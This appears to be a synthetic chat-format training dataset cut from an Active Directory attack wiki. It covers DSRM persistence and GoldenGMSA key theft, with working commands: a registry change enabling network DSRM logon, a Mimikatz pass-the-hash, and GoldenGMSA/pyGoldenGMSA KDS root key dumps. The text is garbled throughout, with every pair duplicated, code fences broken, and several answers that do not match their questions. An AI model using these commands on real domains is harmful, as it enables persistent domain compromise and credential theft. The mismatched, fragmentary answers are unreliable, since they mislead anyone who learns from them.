The registry key HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior governs the conditions under which the DSRM account can be used:

- Value 0 (default): The account is usable only when the DC is started in DSRM.
- Value 1: Allows DSRM credentials when the local AD DS service is stopped.
- Value 2: Permits the use of DSRM credentials at all times, including over the network.

By exploiting these configurations, an attacker can utilize the DSRM account for long-term access to the DC without requiring domain credentials.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
The Directory Services Restore Mode (DSRM) is a special mode available on every Domain Controller (DC) for recovery operations. When a server is promoted to a Domain Controller, a local administrator account named "Administrator" is created with a DSRM password. This password is rarely updated and is distinct from domain credentials, making it an interesting target for persistence.

An attacker with Domain Admin privileges (or local admin privileges on Domain Controllers) can retrieve the hash of the DSRM password using tools like Mimikatz and use it to maintain persistent access. By modifying specific configurations on the DC, it becomes possible to leverage the DSRM account remotely, including authenticating over the network.

The DSRM account, being a local administrator account on the DC, is not subject to domain password policies. However, by default, its use is limited to specific conditions, such as when the DC is booted into DSRM. These limitations can be bypassed by altering the registry key responsible for the account’s logon behavior.

The registry key HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior governs the conditions under which the DSRM account can be used:

- Value 0 (default): The account is usable only when the DC is started in DSRM.
- Value 1: Allows DSRM credentials when the local AD DS service is stopped.
- Value 2: Permits the use of DSRM credentials at all times, including over the network.

By exploiting these configurations, an attacker can utilize the DSRM account for long-term access to the DC without requiring domain credentials.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do DSRM Persistence - Theory

[Assistant]
The Directory Services Restore Mode (DSRM) is a special mode available on every Domain Controller (DC) for recovery operations. When a server is promoted to a Domain Controller, a local administrator account named "Administrator" is created with a DSRM password. This password is rarely updated and is distinct from domain credentials, making it an interesting target for persistence.

An attacker with Domain Admin privileges (or local admin privileges on Domain Controllers) can retrieve the hash of the DSRM password using tools like Mimikatz and use it to maintain persistent access. By modifying specific configurations on the DC, it becomes possible to leverage the DSRM account remotely, including authenticating over the network.

The DSRM account, being a local administrator account on the DC, is not subject to domain password policies. However, by default, its use is limited to specific conditions, such as when the DC is booted into DSRM. These limitations can be bypassed by altering the registry key responsible for the account’s logon behavior.

The registry key HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior governs the conditions under which the DSRM account can be used:

- Value 0 (default): The account is usable only when the DC is started in DSRM.
- Value 1: Allows DSRM credentials when the local AD DS service is stopped.
- Value 2: Permits the use of DSRM credentials at all times, including over the network.

By exploiting these configurations, an attacker can utilize the DSRM account for long-term access to the DC without requiring domain credentials.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do DSRM Persistence - Theory

Response:
The Directory Services Restore Mode (DSRM) is a special mode available on every Domain Controller (DC) for recovery operations. When a server is promoted to a Domain Controller, a local administrator account named "Administrator" is created with a DSRM password. This password is rarely updated and is distinct from domain credentials, making it an interesting target for persistence.

An attacker with Domain Admin privileges (or local admin privileges on Domain Controllers) can retrieve the hash of the DSRM password using tools like Mimikatz and use it to maintain persistent access. By modifying specific configurations on the DC, it becomes possible to leverage the DSRM account remotely, including authenticating over the network.

The DSRM account, being a local administrator account on the DC, is not subject to domain password policies. However, by default, its use is limited to specific conditions, such as when the DC is booted into DSRM. These limitations can be bypassed by altering the registry key responsible for the account’s logon behavior.

The registry key HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior governs the conditions under which the DSRM account can be used:

- Value 0 (default): The account is usable only when the DC is started in DSRM.
- Value 1: Allows DSRM credentials when the local AD DS service is stopped.
- Value 2: Permits the use of DSRM credentials at all times, including over the network.

By exploiting these configurations, an attacker can utilize the DSRM account for long-term access to the DC without requiring domain credentials.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of DSRM Persistence - Practice

[Assistant]
::: tabs

=== Windows

Mimikatz can be used to perform the attack.

```powershell

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of DSRM Persistence - Practice

Response:
::: tabs

=== Windows

Mimikatz can be used to perform the attack.

```powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform DSRM Persistence - Practice?

[Assistant]
::: tabs

=== Windows

Mimikatz can be used to perform the attack.

```powershell

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform DSRM Persistence - Practice?

Response:
::: tabs

=== Windows

Mimikatz can be used to perform the attack.

```powershell


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Set the registry key to allow login with the DSRM account in the context of penetration testing

[Assistant] New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Set the registry key to allow login with the DSRM account in the context of penetration testing

Response: New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Set the registry key to allow login with the DSRM account?

[Assistant] New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Set the registry key to allow login with the DSRM account?

Response: New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Use the hash to authenticate and run a new PowerShell process?

[Assistant]
mimikatz.exe "sekurlsa::pth /domain:<DC_NAME> /user:Administrator /ntlm:<NTLM_HASH> /run:powershell.exe"
```

=== 🛠 UNIX-like

// TODO

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Use the hash to authenticate and run a new PowerShell process?

Response:
mimikatz.exe "sekurlsa::pth /domain:<DC_NAME> /user:Administrator /ntlm:<NTLM_HASH> /run:powershell.exe"
```

=== 🛠 UNIX-like

// TODO

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Use the hash to authenticate and run a new PowerShell process

[Assistant]
mimikatz.exe "sekurlsa::pth /domain:<DC_NAME> /user:Administrator /ntlm:<NTLM_HASH> /run:powershell.exe"
```

=== 🛠 UNIX-like

// TODO

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Use the hash to authenticate and run a new PowerShell process

Response:
mimikatz.exe "sekurlsa::pth /domain:<DC_NAME> /user:Administrator /ntlm:<NTLM_HASH> /run:powershell.exe"
```

=== 🛠 UNIX-like

// TODO

:::


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is DSRM Persistence - Mitigation?

[Assistant] Monitor registry changes to HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior and alert on values 1 or 2 (Event ID 4794).

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: Monitor registry changes to HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior and alert on values 1 or 2 (Event ID 4794).


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on DSRM Persistence - Mitigation

[Assistant] Monitor registry changes to HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior and alert on values 1 or 2 (Event ID 4794).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on DSRM Persistence - Mitigation

Response: Monitor registry changes to HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior and alert on values 1 or 2 (Event ID 4794).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does GoldenGMSA - What is a gMSA account? work?

[Assistant]
Within an Active Directory environment, service accounts are often created and used by different applications. These accounts usually have a password that is rarely updated. To address this issue, it is possible to create Group Managed Service Accounts (gMSA), which are managed directly by AD, with a strong password and a regular password rotation.

The password of a gMSA account can legitimately be requested by authorized applications. In that case, an LDAP request is made to the domain controller, asking for the gMSA account's msDS-ManagedPassword attribute's value.

> [!TIP]
> A gMSA account's msDS-ManagedPassword attribute doesn't actually store the password (it's a constructed attribute). Everytime that attribute is requested by an authorized principal, the domain controller computes it and returns the result. The calculation is detailed a bit more in the password calculation part of this recipe, but simply said, it relies on a static master key (i.e. one of the KDS root keys) and some additional data relative to the gMSA account.

The "GoldenGMSA" persistence lies in the fact that the KDS root keys used for gMSA password calculation don't change (at least not without some admin intervention or custom automation). Once they are exfiltrated and saved, any gMSA account password can be calculated since the additional values needed can be obtained by any low-privileged user.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does GoldenGMSA - What is a gMSA account? work?

Response:
Within an Active Directory environment, service accounts are often created and used by different applications. These accounts usually have a password that is rarely updated. To address this issue, it is possible to create Group Managed Service Accounts (gMSA), which are managed directly by AD, with a strong password and a regular password rotation.

The password of a gMSA account can legitimately be requested by authorized applications. In that case, an LDAP request is made to the domain controller, asking for the gMSA account's msDS-ManagedPassword attribute's value.

> [!TIP]
> A gMSA account's msDS-ManagedPassword attribute doesn't actually store the password (it's a constructed attribute). Everytime that attribute is requested by an authorized principal, the domain controller computes it and returns the result. The calculation is detailed a bit more in the password calculation part of this recipe, but simply said, it relies on a static master key (i.e. one of the KDS root keys) and some additional data relative to the gMSA account.

The "GoldenGMSA" persistence lies in the fact that the KDS root keys used for gMSA password calculation don't change (at least not without some admin intervention or custom automation). Once they are exfiltrated and saved, any gMSA account password can be calculated since the additional values needed can be obtained by any low-privileged user.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through GoldenGMSA - What is a gMSA account?

[Assistant]
Within an Active Directory environment, service accounts are often created and used by different applications. These accounts usually have a password that is rarely updated. To address this issue, it is possible to create Group Managed Service Accounts (gMSA), which are managed directly by AD, with a strong password and a regular password rotation.

The password of a gMSA account can legitimately be requested by authorized applications. In that case, an LDAP request is made to the domain controller, asking for the gMSA account's msDS-ManagedPassword attribute's value.

> [!TIP]
> A gMSA account's msDS-ManagedPassword attribute doesn't actually store the password (it's a constructed attribute). Everytime that attribute is requested by an authorized principal, the domain controller computes it and returns the result. The calculation is detailed a bit more in the password calculation part of this recipe, but simply said, it relies on a static master key (i.e. one of the KDS root keys) and some additional data relative to the gMSA account.

The "GoldenGMSA" persistence lies in the fact that the KDS root keys used for gMSA password calculation don't change (at least not without some admin intervention or custom automation). Once they are exfiltrated and saved, any gMSA account password can be calculated since the additional values needed can be obtained by any low-privileged user.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through GoldenGMSA - What is a gMSA account?

Response:
Within an Active Directory environment, service accounts are often created and used by different applications. These accounts usually have a password that is rarely updated. To address this issue, it is possible to create Group Managed Service Accounts (gMSA), which are managed directly by AD, with a strong password and a regular password rotation.

The password of a gMSA account can legitimately be requested by authorized applications. In that case, an LDAP request is made to the domain controller, asking for the gMSA account's msDS-ManagedPassword attribute's value.

> [!TIP]
> A gMSA account's msDS-ManagedPassword attribute doesn't actually store the password (it's a constructed attribute). Everytime that attribute is requested by an authorized principal, the domain controller computes it and returns the result. The calculation is detailed a bit more in the password calculation part of this recipe, but simply said, it relies on a static master key (i.e. one of the KDS root keys) and some additional data relative to the gMSA account.

The "GoldenGMSA" persistence lies in the fact that the KDS root keys used for gMSA password calculation don't change (at least not without some admin intervention or custom automation). Once they are exfiltrated and saved, any gMSA account password can be calculated since the additional values needed can be obtained by any low-privileged user.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about GoldenGMSA - Obtaining persistence?

[Assistant]
Once an AD environment is compromised, acquiring the "GoldenGMSA" persistence requires to dump the KDS root keys.

::: tabs

=== Windows

The KDS (Key Distribution Service) root keys can be exfiltrated from the domain with high-privileged access with GoldenGMSA (C#).

Without the --forest argument, the forest root domain is queried, hence requiring Enterprise Admins or Domain Admins privileges in the forest root domain, or SYSTEM privileges on a forest root Domain Controller.

``powershell
GoldenGMSA.exe kdsinfo
`

With the --forest argument specifying the target domain or forest, SYSTEM privileges are required on the corresponding domain or forest Domain Controller. In case a child domain is specified, the parent domain keys will be dumped as well.

`powershell
GoldenGMSA.exe kdsinfo --forest child.lab.local
`

=== UNIX-like

pyGoldenGMSA (Python) implements the cryptographic pipeline in Python, enabling KDS root key extraction and gMSA password computation from Linux-based platforms without Windows-specific dependencies.

KDS root keys can be exfiltrated with high-privileged access. Multiple authentication methods are supported:

``bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about GoldenGMSA - Obtaining persistence?

Response:
Once an AD environment is compromised, acquiring the "GoldenGMSA" persistence requires to dump the KDS root keys.

::: tabs

=== Windows

The KDS (Key Distribution Service) root keys can be exfiltrated from the domain with high-privileged access with GoldenGMSA (C#).

Without the --forest argument, the forest root domain is queried, hence requiring Enterprise Admins or Domain Admins privileges in the forest root domain, or SYSTEM privileges on a forest root Domain Controller.

``powershell
GoldenGMSA.exe kdsinfo
`

With the --forest argument specifying the target domain or forest, SYSTEM privileges are required on the corresponding domain or forest Domain Controller. In case a child domain is specified, the parent domain keys will be dumped as well.

`powershell
GoldenGMSA.exe kdsinfo --forest child.lab.local
`

=== UNIX-like

pyGoldenGMSA (Python) implements the cryptographic pipeline in Python, enabling KDS root key extraction and gMSA password computation from Linux-based platforms without Windows-specific dependencies.

KDS root keys can be exfiltrated with high-privileged access. Multiple authentication methods are supported:

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform GoldenGMSA - Obtaining persistence?

[Assistant]
Once an AD environment is compromised, acquiring the "GoldenGMSA" persistence requires to dump the KDS root keys.

::: tabs

=== Windows

The KDS (Key Distribution Service) root keys can be exfiltrated from the domain with high-privileged access with GoldenGMSA (C#).

Without the --forest argument, the forest root domain is queried, hence requiring Enterprise Admins or Domain Admins privileges in the forest root domain, or SYSTEM privileges on a forest root Domain Controller.

``powershell
GoldenGMSA.exe kdsinfo
`

With the --forest argument specifying the target domain or forest, SYSTEM privileges are required on the corresponding domain or forest Domain Controller. In case a child domain is specified, the parent domain keys will be dumped as well.

`powershell
GoldenGMSA.exe kdsinfo --forest child.lab.local
`

=== UNIX-like

pyGoldenGMSA (Python) implements the cryptographic pipeline in Python, enabling KDS root key extraction and gMSA password computation from Linux-based platforms without Windows-specific dependencies.

KDS root keys can be exfiltrated with high-privileged access. Multiple authentication methods are supported:

``bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform GoldenGMSA - Obtaining persistence?

Response:
Once an AD environment is compromised, acquiring the "GoldenGMSA" persistence requires to dump the KDS root keys.

::: tabs

=== Windows

The KDS (Key Distribution Service) root keys can be exfiltrated from the domain with high-privileged access with GoldenGMSA (C#).

Without the --forest argument, the forest root domain is queried, hence requiring Enterprise Admins or Domain Admins privileges in the forest root domain, or SYSTEM privileges on a forest root Domain Controller.

``powershell
GoldenGMSA.exe kdsinfo
`

With the --forest argument specifying the target domain or forest, SYSTEM privileges are required on the corresponding domain or forest Domain Controller. In case a child domain is specified, the parent domain keys will be dumped as well.

`powershell
GoldenGMSA.exe kdsinfo --forest child.lab.local
`

=== UNIX-like

pyGoldenGMSA (Python) implements the cryptographic pipeline in Python, enabling KDS root key extraction and gMSA password computation from Linux-based platforms without Windows-specific dependencies.

KDS root keys can be exfiltrated with high-privileged access. Multiple authentication methods are supported:

``bash


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use GoldenGMSA.exe for goldengmsa - obtaining persistence?

[Assistant] GoldenGMSA.exe kdsinfo

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use GoldenGMSA.exe for goldengmsa - obtaining persistence?

Response: GoldenGMSA.exe kdsinfo


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out GoldenGMSA - Obtaining persistence during a pentest?

[Assistant] GoldenGMSA.exe kdsinfo

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out GoldenGMSA - Obtaining persistence during a pentest?

Response: GoldenGMSA.exe kdsinfo


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `GoldenGMSA.exe kdsinfo`?

[Assistant] This command is used for goldengmsa - obtaining persistence. Obtaining persistence

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `GoldenGMSA.exe kdsinfo`?

Response: This command is used for goldengmsa - obtaining persistence. Obtaining persistence


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use GoldenGMSA.exe for goldengmsa - obtaining persistence?

[Assistant] GoldenGMSA.exe kdsinfo --forest child.lab.local

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Response: GoldenGMSA.exe kdsinfo --forest child.lab.local


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do GoldenGMSA - Obtaining persistence

[Assistant] GoldenGMSA.exe kdsinfo --forest child.lab.local

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do GoldenGMSA - Obtaining persistence

Response: GoldenGMSA.exe kdsinfo --forest child.lab.local


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `GoldenGMSA.exe kdsinfo --forest child.lab.local`?

[Assistant] This command is used for goldengmsa - obtaining persistence. Obtaining persistence

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `GoldenGMSA.exe kdsinfo --forest child.lab.local`?

Response: This command is used for goldengmsa - obtaining persistence. Obtaining persistence


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about Password authentication

[Assistant] python3 main.py -u "$USER@$DOMAIN" -p "$PASSWORD" -d $DOMAIN --dc-ip $DC_IP kdsinfo

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: python3 main.py -u "$USER@$DOMAIN" -p "$PASSWORD" -d $DOMAIN --dc-ip $DC_IP kdsinfo


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Password authentication?

[Assistant] python3 main.py -u "$USER@$DOMAIN" -p "$PASSWORD" -d $DOMAIN --dc-ip $DC_IP kdsinfo

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Password authentication?

Response: python3 main.py -u "$USER@$DOMAIN" -p "$PASSWORD" -d $DOMAIN --dc-ip $DC_IP kdsinfo


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Pass-the-Hash authentication

[Assistant] python3 main.py -u "$USER" -d $DOMAIN --dc-ip $DC_IP --nt-hash $NT_HASH kdsinfo

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Pass-the-Hash authentication

Response: python3 main.py -u "$USER" -d $DOMAIN --dc-ip $DC_IP --nt-hash $NT_HASH kdsinfo


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Pass-the-Hash authentication?

[Assistant] python3 main.py -u "$USER" -d $DOMAIN --dc-ip $DC_IP --nt-hash $NT_HASH kdsinfo

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Pass-the-Hash authentication?

Response: python3 main.py -u "$USER" -d $DOMAIN --dc-ip $DC_IP --nt-hash $NT_HASH kdsinfo


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Pass-the-Ticket (Kerberos) authentication

[Assistant]
python3 main.py -u "$USER" -d $DOMAIN --dc-ip $DC_IP --ccache admin.ccache kdsinfo
```

The dumped KDS root keys are printed in base64, and can be used for password calculation later on.

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Pass-the-Ticket (Kerberos) authentication

Response:
python3 main.py -u "$USER" -d $DOMAIN --dc-ip $DC_IP --ccache admin.ccache kdsinfo
```

The dumped KDS root keys are printed in base64, and can be used for password calculation later on.

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Pass-the-Ticket (Kerberos) authentication

[Assistant]
python3 main.py -u "$USER" -d $DOMAIN --dc-ip $DC_IP --ccache admin.ccache kdsinfo
```

The dumped KDS root keys are printed in base64, and can be used for password calculation later on.

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Pass-the-Ticket (Kerberos) authentication

Response:
python3 main.py -u "$USER" -d $DOMAIN --dc-ip $DC_IP --ccache admin.ccache kdsinfo
```

The dumped KDS root keys are printed in base64, and can be used for password calculation later on.

:::


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does GoldenGMSA - Retrieving gMSA passwords work?

[Assistant]
Later on, the attacker can then, with low-privileged access to the domain:

1. dump some information relative to the gMSA account to retrieve the password for
2. use those elements to calculate the gMSA password

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does GoldenGMSA - Retrieving gMSA passwords work?

Response:
Later on, the attacker can then, with low-privileged access to the domain:

1. dump some information relative to the gMSA account to retrieve the password for
2. use those elements to calculate the gMSA password


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on GoldenGMSA - Retrieving gMSA passwords

[Assistant]
Later on, the attacker can then, with low-privileged access to the domain:

1. dump some information relative to the gMSA account to retrieve the password for
2. use those elements to calculate the gMSA password

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on GoldenGMSA - Retrieving gMSA passwords

Response:
Later on, the attacker can then, with low-privileged access to the domain:

1. dump some information relative to the gMSA account to retrieve the password for
2. use those elements to calculate the gMSA password


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about GoldenGMSA - Account information dump

[Assistant]
::: tabs

=== Windows

In addition to the KDS root keys, the following information, relative to a gMSA, need to be dumped in order to compute its password:

* SID (Security IDentifier)
* RootKeyGuid: indicating what KDS root key to use
* Password ID: which rotates regularly

The information can be dumped with low-privilege access to AD with GoldenGMSA (C#).

``powershell
GoldenGMSA.exe gmsainfo
`

In order to dump the necessary information of a single gMSA, its SID can be used as filter with the --sid argument.

`powershell
GoldenGMSA.exe gmsainfo --sid "S-1-5-21-[...]1586295871-1112"
`

=== UNIX-like

pyGoldenGMSA can enumerate gMSA accounts and extract the required information (SID, RootKeyGuid, Password ID, and L0/L1/L2 indices) with low-privilege access:

``bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about GoldenGMSA - Account information dump

Response:
::: tabs

=== Windows

In addition to the KDS root keys, the following information, relative to a gMSA, need to be dumped in order to compute its password:

* SID (Security IDentifier)
* RootKeyGuid: indicating what KDS root key to use
* Password ID: which rotates regularly

The information can be dumped with low-privilege access to AD with GoldenGMSA (C#).

``powershell
GoldenGMSA.exe gmsainfo
`

In order to dump the necessary information of a single gMSA, its SID can be used as filter with the --sid argument.

`powershell
GoldenGMSA.exe gmsainfo --sid "S-1-5-21-[...]1586295871-1112"
`

=== UNIX-like

pyGoldenGMSA can enumerate gMSA accounts and extract the required information (SID, RootKeyGuid, Password ID, and L0/L1/L2 indices) with low-privilege access:

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on GoldenGMSA - Account information dump

[Assistant]
::: tabs

=== Windows

In addition to the KDS root keys, the following information, relative to a gMSA, need to be dumped in order to compute its password:

* SID (Security IDentifier)
* RootKeyGuid: indicating what KDS root key to use
* Password ID: which rotates regularly

The information can be dumped with low-privilege access to AD with GoldenGMSA (C#).

``powershell
GoldenGMSA.exe gmsainfo
`

In order to dump the necessary information of a single gMSA, its SID can be used as filter with the --sid argument.

`powershell
GoldenGMSA.exe gmsainfo --sid "S-1-5-21-[...]1586295871-1112"
`

=== UNIX-like

pyGoldenGMSA can enumerate gMSA accounts and extract the required information (SID, RootKeyGuid, Password ID, and L0/L1/L2 indices) with low-privilege access:

``bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on GoldenGMSA - Account information dump

Response:
::: tabs

=== Windows

In addition to the KDS root keys, the following information, relative to a gMSA, need to be dumped in order to compute its password:

* SID (Security IDentifier)
* RootKeyGuid: indicating what KDS root key to use
* Password ID: which rotates regularly

The information can be dumped with low-privilege access to AD with GoldenGMSA (C#).

``powershell
GoldenGMSA.exe gmsainfo
`

